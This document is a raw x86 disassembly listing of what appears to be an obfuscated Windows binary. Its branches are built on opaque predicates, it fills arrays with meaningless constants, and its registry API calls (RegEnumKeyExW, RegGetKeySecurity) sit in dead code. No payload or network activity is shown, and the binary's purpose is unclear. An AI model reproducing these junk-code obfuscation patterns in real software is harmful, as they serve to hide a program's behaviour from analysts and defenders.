mov eax, dword [ebp - 0x2258]
cmp dword [ebp - 0x178c], eax
je 0x4768b9
mov dword [ebp - 0x1794], 1
jmp 0x4768c0
and dword [ebp - 0x1794], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x104]
cmp dword [ebp - 0x1794], eax
je 0x4768de
mov dword [ebp - 0x179c], 1
jmp 0x4768e5
and dword [ebp - 0x179c], 0
push 3
lea ecx, [ebp - 0x200c]
call fcn.0042de28
mov ecx, dword [ebp - 0x179c]
imul ecx, dword [eax]
mov dword [ebp - 0x7a0], ecx
mov eax, dword [ebp - 0x7a0]
mov dword [ebp - 0xa00], eax
mov eax, dword [ebp - 4]
cmp dword [ebp - 0xa00], eax
jg 0x476924
mov dword [ebp - 0x17a4], 1
jmp 0x47692b
and dword [ebp - 0x17a4], 0
cmp dword [ebp - 0x17a4], 1
jne 0x476940
mov dword [ebp - 0x17ac], 1
jmp 0x476947
and dword [ebp - 0x17ac], 0
push 3
lea ecx, [ebp - 0x3380]
call fcn.0042de28
mov ecx, dword [ebp - 0x17ac]
imul ecx, dword [eax]
push 4
pop eax
imul eax, eax, 0
cmp ecx, dword [ebp + eax - 0x104]
jge 0x476978
mov dword [ebp - 0x17b4], 1
jmp 0x47697f
and dword [ebp - 0x17b4], 0
push 2
lea ecx, [ebp - 0x200c]
call fcn.0042de28
mov esi, dword [eax]
sub esi, dword [ebp - 0x17b4]
push 1
lea ecx, [ebp - 0x200c]
call fcn.0042de28
cmp esi, dword [eax]
jl 0x4769ba
cmp dword [ebp - 0xa00], 0
je 0x4769ba
mov dword [ebp - 0x17bc], 1
jmp 0x4769c1
and dword [ebp - 0x17bc], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x17bc], eax
jne 0x4769d8
mov dword [ebp - 0x17c4], 1
jmp 0x4769df
and dword [ebp - 0x17c4], 0
mov eax, dword [ebp - 0x17c4]
mov dword [ebp - 0x2260], eax
lea ecx, [ebp - 0x3380]
call fcn.0042de0c
lea ecx, [ebp - 0x200c]
call fcn.0042de0c
jmp 0x4765e9
mov dword [ebp - 0x2ebc], 1
mov dword [ebp - 0x2940], 0xb903cfcb
mov dword [ebp - 0x293c], 0xb903cfcb
mov dword [ebp - 0x2938], 0xb903cfcb
mov dword [ebp - 0x2934], 0xb903cfcb
lea ecx, [ebp - 0xb15]
call fcn.0042de37
push eax
lea eax, [ebp - 0x2930]
push eax
lea eax, [ebp - 0x2940]
push eax
lea ecx, [ebp - 0x3760]
call fcn.0042de3a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x26b8]
call fcn.0042dde6
mov dword [ebp - 0x25c], 0x321ee01e
push 3
lea ecx, [ebp - 0x28c0]
call fcn.0042dd3a
mov dword [ebp - 0x5c], 0
jmp 0x476a94
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 1
jge 0x476aaa
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x3d4], 0xfffffffd
jmp 0x476a8d
mov dword [ebp - 0x5c], 0
jmp 0x476aba
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x476ad0
mov eax, dword [ebp - 0x5c]
mov dword [ebp + eax*4 - 0x2800], 0x314e
jmp 0x476ab3
mov dword [ebp - 0x5c], 0
jmp 0x476ae0
mov eax, dword [ebp - 0x5c]
inc eax
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 3
jge 0x476afc
push dword [ebp - 0x5c]
lea ecx, [ebp - 0x28c0]
call fcn.0042de28
mov dword [eax], 0x1cf6a124
jmp 0x476ad9
mov eax, 0xad72
test eax, eax
je 0x476c96
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d4], 9
ja 0x476b25
mov dword [ebp - 0x17ec], 1
jmp 0x476b2c
and dword [ebp - 0x17ec], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d4], 1
jb 0x476b48
mov dword [ebp - 0x17cc], 1
jmp 0x476b4f
and dword [ebp - 0x17cc], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d4]
cmp dword [ebp - 0x17cc], eax
je 0x476b76
mov eax, 0x86ff18ee
test eax, eax
jne 0x476b76
and dword [ebp - 0x17d4], 0
jmp 0x476b80
mov dword [ebp - 0x17d4], 1
imul eax, dword [ebp - 0x17d4], 0x1505
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2800]
jne 0x476ba5
mov dword [ebp - 0x17dc], 1
jmp 0x476bac
and dword [ebp - 0x17dc], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2800]
cmp dword [ebp - 0x17dc], eax
jg 0x476bd2
or eax, 0xffffffff
je 0x476bd2
mov dword [ebp - 0x2268], 1
jmp 0x476bd9
and dword [ebp - 0x2268], 0
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x3d4], 1
jg 0x476bf5
mov dword [ebp - 0x17e4], 1
jmp 0x476bfc
and dword [ebp - 0x17e4], 0
push 2
lea ecx, [ebp - 0x26b8]
call fcn.0042de28
mov ecx, dword [ebp - 0x17e4]
mov dword [eax], ecx
mov eax, dword [ebp - 0x25c]
mov dword [ebp - 0x3224], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x3d4]
cmp dword [ebp - 0x17ec], eax
je 0x476c3e
mov dword [ebp - 0x2270], 1
jmp 0x476c45
and dword [ebp - 0x2270], 0
push 4
pop eax
shl eax, 1
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x3d4]
cmp dword [ebp + eax - 0x2800], ecx
jl 0x476c75
mov eax, 0x71d69170
test eax, eax
je 0x476c75
mov dword [ebp - 0x17f4], 1
jmp 0x476c7c
and dword [ebp - 0x17f4], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x17f4], eax
jle 0x476c96
mov dword [ebp - 0x17fc], 1
jmp 0x476c9d
and dword [ebp - 0x17fc], 0
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x17fc], eax
jg 0x476cbd
mov eax, 0x25aa9c4a
test eax, eax
jne 0x476cbd
and dword [ebp - 0x1804], 0
jmp 0x476cc7
mov dword [ebp - 0x1804], 1
mov eax, dword [ebp - 0x25c]
cmp dword [ebp - 0x1804], eax
jge 0x476ce1
mov dword [ebp - 0x180c], 1
jmp 0x476ce8
and dword [ebp - 0x180c], 0
mov eax, dword [ebp - 0x180c]
add eax, 0x49ac
mov dword [ebp - 0x1814], eax
push 2
lea ecx, [ebp - 0x28c0]
call fcn.0042de28
mov ecx, dword [ebp - 0x1814]
mov dword [eax], ecx
cmp dword [ebp - 0x1814], 0x832c
jl 0x476d69
mov dword [ebp - 0x2278], 0x6ffa
mov esi, dword [ebp - 0x2278]
push 3
lea ecx, [ebp - 0x26b8]
call fcn.0042de28
mov dword [eax], esi
mov byte [ebp - 0x277], 0
movzx eax, byte [ebp - 0x277]
test eax, eax
je 0x476d64
push 0
push 0
push 0
push 0
push 0
push 0
push 0x702
push 0
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
jmp 0x477191
mov dword [ebp - 0xa08], 0x27fd5d1a
mov dword [ebp - 0x3dc], 0
mov dword [ebp - 0x184c], 0xffffffff
mov dword [ebp - 0x4a0], 0xfffffffa
push 3
lea ecx, [ebp - 0x2b00]
call fcn.0042dd3a
mov dword [ebp - 0x7a8], 0
jmp 0x476db7
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 3
jge 0x476dd9
push dword [ebp - 0x7a8]
lea ecx, [ebp - 0x2b00]
call fcn.0042de28
mov dword [eax], 6
jmp 0x476daa
mov dword [ebp - 0x25c], 0
jmp 0x476df2
cmp dword [ebp - 0x25c], 0x1d
jg 0x477186
push 1
lea ecx, [ebp - 0xba4]
call fcn.0042dd3a
mov dword [ebp - 0x7b0], 0
jmp 0x476e25
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 1
jge 0x476e47
push dword [ebp - 0x7b0]
lea ecx, [ebp - 0xba4]
call fcn.0042de28
mov dword [eax], 0xbab91ee3
jmp 0x476e18
push 0
lea ecx, [ebp - 0xba4]
call fcn.0042de28
cmp dword [ebp - 0xa08], 0x43c7f34f
jl 0x476e6c
mov dword [ebp - 0x181c], 1
jmp 0x476e73
and dword [ebp - 0x181c], 0
push 0
lea ecx, [ebp - 0xba4]
call fcn.0042de28
mov ecx, dword [ebp - 0xa08]
add ecx, dword [ebp - 0x181c]
imul ecx, ecx, 0xfffd
cmp dword [eax], ecx
jge 0x476ea2
mov dword [ebp - 0x1824], 1
jmp 0x476ea9
and dword [ebp - 0x1824], 0
mov eax, dword [ebp - 0x1824]
mov dword [ebp - 0x3dc], eax
mov eax, dword [ebp - 0x3dc]
mov dword [ebp - 0x182c], eax
push 2
lea ecx, [ebp - 0x26b8]
call fcn.0042de28
mov ecx, dword [ebp - 0x182c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa08]
cmp eax, dword [ebp - 0x182c]
jge 0x476ef0
mov dword [ebp - 0x1834], 1
jmp 0x476ef7
and dword [ebp - 0x1834], 0
mov eax, dword [ebp - 0x1834]
neg eax
cmp eax, 2
jne 0x476f22
push 2
lea ecx, [ebp - 0x26b8]
call fcn.0042de28
cmp dword [eax], 0
je 0x476f22
mov dword [ebp - 0x183c], 1
jmp 0x476f29
and dword [ebp - 0x183c], 0
push 0
lea ecx, [ebp - 0xba4]
call fcn.0042de28
mov ecx, dword [ebp - 0x183c]
cmp ecx, dword [eax]
jl 0x476f4c
mov dword [ebp - 0x1844], 1
jmp 0x476f53
and dword [ebp - 0x1844], 0
mov eax, dword [ebp - 0x1844]
mov dword [ebp - 0x184c], eax
cmp dword [ebp - 0x184c], 0x8a8ff013
jbe 0x476f77
mov dword [ebp - 0x1854], 1
jmp 0x476f7e
and dword [ebp - 0x1854], 0
push 0
lea ecx, [ebp - 0xba4]
call fcn.0042de28
mov eax, dword [eax]
cmp eax, dword [ebp - 0x1854]
je 0x476fa1
mov dword [ebp - 0x185c], 1
jmp 0x476fa8
and dword [ebp - 0x185c], 0
cmp dword [ebp - 0x185c], 0xffff
jae 0x476fc0
mov dword [ebp - 0x1864], 1
jmp 0x476fc7
and dword [ebp - 0x1864], 0
cmp dword [ebp - 0x1864], 0
ja 0x476fdc
mov dword [ebp - 0x1878], 1
jmp 0x476fe3
and dword [ebp - 0x1878], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2800]
sub eax, dword [ebp - 0x1878]
mov dword [ebp - 0x4a0], eax
mov dword [ebp - 0x4a0], 0xfffffffe
jmp 0x477015
lea ecx, [ebp - 0x2b00]
call fcn.0042de0c
lea ecx, [ebp - 0x28c0]
call fcn.0042de0c
lea ecx, [ebp - 0x26b8]
call fcn.0042de0c
mov dword [ebp - 0x2ec4], 0xfffffff9
mov dword [ebp - 0x3458], 8
push 1
lea ecx, [ebp - 0x2a1c]
call fcn.0042dd3a
mov dword [ebp - 0x15c], 0
jmp 0x4771e1
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 1
jge 0x477203
push dword [ebp - 0x15c]
lea ecx, [ebp - 0x2a1c]
call fcn.0042de28
mov dword [eax], 0xfffffff7
jmp 0x4771d4
mov dword [ebp - 0x15c], 0
jmp 0x47721c
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 2
jge 0x477238
mov eax, dword [ebp - 0x15c]
mov dword [ebp + eax*4 - 0x3770], 1
jmp 0x47720f
push 0
lea ecx, [ebp - 0x2a1c]
call fcn.0042de28
mov dword [ebp - 0x18a8], eax
mov eax, dword [ebp - 0x18a8]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x18a8]
mov dword [ecx], eax
lea ecx, [ebp - 0x2a1c]
call fcn.0042de0c
mov dword [ebp - 0x1c], 0xffffffff
push 2
lea ecx, [ebp - 0xb68]
call fcn.0042dd3a
mov dword [ebp - 0x2288], 0x45661c44
mov dword [ebp - 0x7b8], 0
jmp 0x47729e
mov eax, dword [ebp - 0x7b8]
inc eax
mov dword [ebp - 0x7b8], eax
cmp dword [ebp - 0x7b8], 2
jge 0x4772c0
push dword [ebp - 0x7b8]
lea ecx, [ebp - 0xb68]
call fcn.0042de28
mov dword [eax], 0x25d1
jmp 0x477291
cmp dword [ebp - 0x1c], 0
je 0x477314
mov dword [ebp - 0x1c], 0
jmp 0x4772d6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 2
jge 0x4772ef
push dword [ebp - 0x1c]
lea ecx, [ebp - 0xb68]
call fcn.0042de28
and dword [eax], 0
jmp 0x4772cf
mov byte [ebp - 0x279], 0
movzx eax, byte [ebp - 0x279]
test eax, eax
je 0x47730f
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
jmp 0x4773fb
mov dword [ebp - 0x18c0], 0x732a
mov esi, dword [ebp - 0x1c]
push 0
lea ecx, [ebp - 0xb68]
call fcn.0042de28
cmp esi, dword [eax]
jle 0x477341
cmp dword [ebp - 0x1c], 0
jne 0x477341
and dword [ebp - 0x18d0], 0
jmp 0x47734b
mov dword [ebp - 0x18d0], 1
mov eax, dword [ebp - 0x1c]
neg eax
cmp eax, 1
jae 0x477361
mov dword [ebp - 0x18b0], 1
jmp 0x477368
and dword [ebp - 0x18b0], 0
mov eax, dword [ebp - 0x18c0]
cmp dword [ebp - 0x18b0], eax
jl 0x477382
mov dword [ebp - 0x18b8], 1
jmp 0x477389
and dword [ebp - 0x18b8], 0
cmp dword [ebp - 0x18b8], 0xffffffff
jb 0x4773b0
push 1
lea ecx, [ebp - 0xb68]
call fcn.0042de28
cmp dword [eax], 0
je 0x4773b0
and dword [ebp - 0x18c8], 0
mov eax, dword [ebp - 0x18c0]
add eax, dword [ebp - 0x18c8]
mov ecx, dword [ebp - 0x18d0]
sub ecx, eax
mov dword [ebp - 0x1c], ecx
mov byte [ebp - 0x27b], 0
movzx eax, byte [ebp - 0x27b]
test eax, eax
je 0x4773fb
mov dword [ebp - 0x1c], 1
jmp 0x47740b